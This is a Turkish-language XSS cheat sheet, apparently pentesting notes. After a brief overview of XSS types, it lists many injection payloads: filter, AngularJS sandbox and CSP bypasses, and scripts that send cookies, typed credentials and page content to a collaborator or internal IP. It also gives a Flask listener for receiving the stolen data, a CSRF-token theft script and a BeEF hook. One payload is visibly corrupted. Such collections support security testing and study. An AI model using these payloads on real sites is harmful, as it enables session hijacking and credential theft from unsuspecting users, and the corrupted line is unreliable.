Cross-Site Scripting

XSS Nedir?

Cross-Site Scripting (XSS), bir saldırganın, başka kullanıcıların tarayıcılarında kötü niyetli kod çalıştırmasına olanak tanıyan bir güvenlik açığı türüdür. Genellikle, saldırganın kötü niyetli JavaScript kodunu bir web sayfasına enjekte etmesiyle gerçekleşir. Bu kod, kullanıcının oturumunu ele geçirme, kullanıcı bilgilerini çalma veya kullanıcının tarayıcısında zararlı işlemler gerçekleştirme amacıyla kullanılabilir.

XSS Türleri

  • Stored XSS: Saldırganın zararlı kodu web uygulamasının veritabanına kaydedip saklaması ve bu kodun daha sonra kullanıcıya sunulmasıyla gerçekleşir. En kritik xss türüdür.

  • Reflected XSS: Saldırganın kullanıcıya özel bir link veya form aracılığıyla zararlı bir URL veya istek göndermesiyle gerçekleşir. Sunucu, bu veriyi işler ve sonuçları doğrudan kullanıcıya geri gönderir. Yüksek seviye bir zafiyettir.

  • DOM Based XSS: Saldırganın web sayfasının JavaScript tarafında doğrudan manipülasyon yapmasını içerir. Bu, tarayıcıda JavaScript tarafından oluşturulan ve manipüle edilen sayfaları hedefler. Yüksek seviye bir zafiyettir.

  • Self XSS: Kullanıcının kendisi tarafından tetiklenmesi gereken xss türüdür. Düşük seviye bir zafiyettir.

Yöntemler

Special Karakterleri Denemek

Special karakterleri girdilerde deneyerek filtrelenmediyse bunu görebiliriz.

><
{}
;
&
'
"
\n
\r
\
\uXXXX

Nothing Encoded

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Tag Escape XSS

"><script>alert(1)</script>
</select><script>alert(1)</script>
</script><script>alert(1)</script>

Attribute Escape XSS

"onmouseover="alert(1)

HREF Attribute XSS

javascript:alert(1)

Javascript String içinde XSS

'-alert(1)-'
\'-alert(1)//
&apos;-alert(1)-&apos;

Jquery Selector

#<img src=x onerror=alert(1)>

AngularJS Ng-App XSS

{{$on.constructor('alert(1)')()}}

Escape Json XSS

\"-alert(1)}//

Javascript Replace Function XSS

<><img src=x onerror=alert(1)>

Body Tag XSS

"><body onresize=alert(1)>

Custom Tag XSS

<xss id=x onfocus=alert(1) tabindex=1>#x

SVG Tag XSS

"><svg><animatetransform onbegin=alert(1)>
'accesskey='x'onclick='alert(1)
// ALT + X

Backtick String içinde XSS

${alert(1)}

AngularJS Sandbox Bypass

toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

CSP Bypass

<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

AngularJS Sandbox ve CSP Bypass

<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x

HREF ve Event Handler olmadan XSS

<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

HTTP Paramater Pollution ile XSS

Aynı parametreyi aynı anda birden fazla göndermeyi deneyin. Filtreler bypass edilebilir.

http://example/page.php?param=<script&param=>alert(1)</&param=script>

Blocked Character XSS

%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

Header ile CSP Bypass

Eğer çerezleri değiştirmeye izin veren bir parametre varsa aşağıdaki payload'u kullanabiliriz. Bu şekilde response'da CSP çalıştıran header silinir.

<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

Markup Attack ile CSP Bypass

<script>
location='https://example.com/my-account?email="></form><form class="login-form" name="evil-form" action="https://COLLABORATOR" method="GET"><button class="button" type="submit">Click me</button>';
</script>
<script>fetch('http://COLLABORATOR', {method: 'POST',mode: 'no-cors',body:document.cookie});</script>

<script>fetch("http://192.168.1.1/?cookie="+document.cookie);</script>

Steal Credential XSS

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLABORATOR',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Steal Page Content

<script>fetch("http://192.168.1.1/?data="+btoa(document.documentElement.innerHTML));</script>

<script>fetch('http://192.168.1.1', {method: 'POST', mode: 'no-cors', body:document.documentElement.innerHTML});</script>

<script>
setTimeout(function() {
    fetch('http://192.168.1.1', {
        method: 'POST',
        mode: 'no-cors',
        body: document.documentElement.innerHTML
    });
}, 5000);
</script>

XSS Listener

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['POST'])
def catch_request():
    data = request.get_data(as_text=True)
    print("Gelen veri:", data)
    return '', 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

XSS ile CSRF Token Bypass

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=attacker@gmail.com')
};
</script>

DOM XSS Web Message

window.addEventListener('message', function(e))
<iframe src="https://example.com/" onload="this.contentWindow.postMessage('<img src=x onerror=alert(1)>','*')">

DOM XSS HREF Web Message

<iframe src="https://example.com/" onload="this.contentWindow.postMessage('javascript:alert(1)//http:','*')">

DOM XSS JSON Parse

<iframe src=https://example.com/ onload='this.contentW-++++++++++++++++++++++++++++indow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:alert(1)\"}","*")'>

Eğer xss çalıştırmak için bir cookie manipülasyonu yapmanız gerekiyorsa hedef ilk kez url'yi açtığında xss çalışmayacaktır. Aşağıdaki payload sayesinde hedefin url'yi iki kez ziyaret etmesini sağlıyoruz

<iframe src="https://example.com/product?productId=1&'><script>alert(1)</script>" onload="if(!window.x)this.src='https://example.com';window.x=1;">

HTML Janitor DOM XSS

Html-Janitor whitelist metodu ile xss engelleyen bir kütüphanedir. Bu kütüphane aşağıdaki payloadlar ile bypass edilebilir.

<form id=x tabindex=0 onfocus=alert(1)><input id=attributes>
<iframe src=https://example.com/post?postId=1 onload="setTimeout(()=>this.src=this.src+'#x',500)">

SVG XSS (File Upload)

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('xss');
   </script>
</svg>

Araçlar

BEEF-XSS

XSS zafiyetini sömürememizi sağlar.

<script src="http://<IP>:3000/hook.js"></script>

XSS Hunter

Blind XSS zafiyetinin tespitini sağlar.

XSS Hunter: https://xsshunter.trufflesecurity.com/

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/cross-site-scripting

Owasp Guideline: https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting

Last updated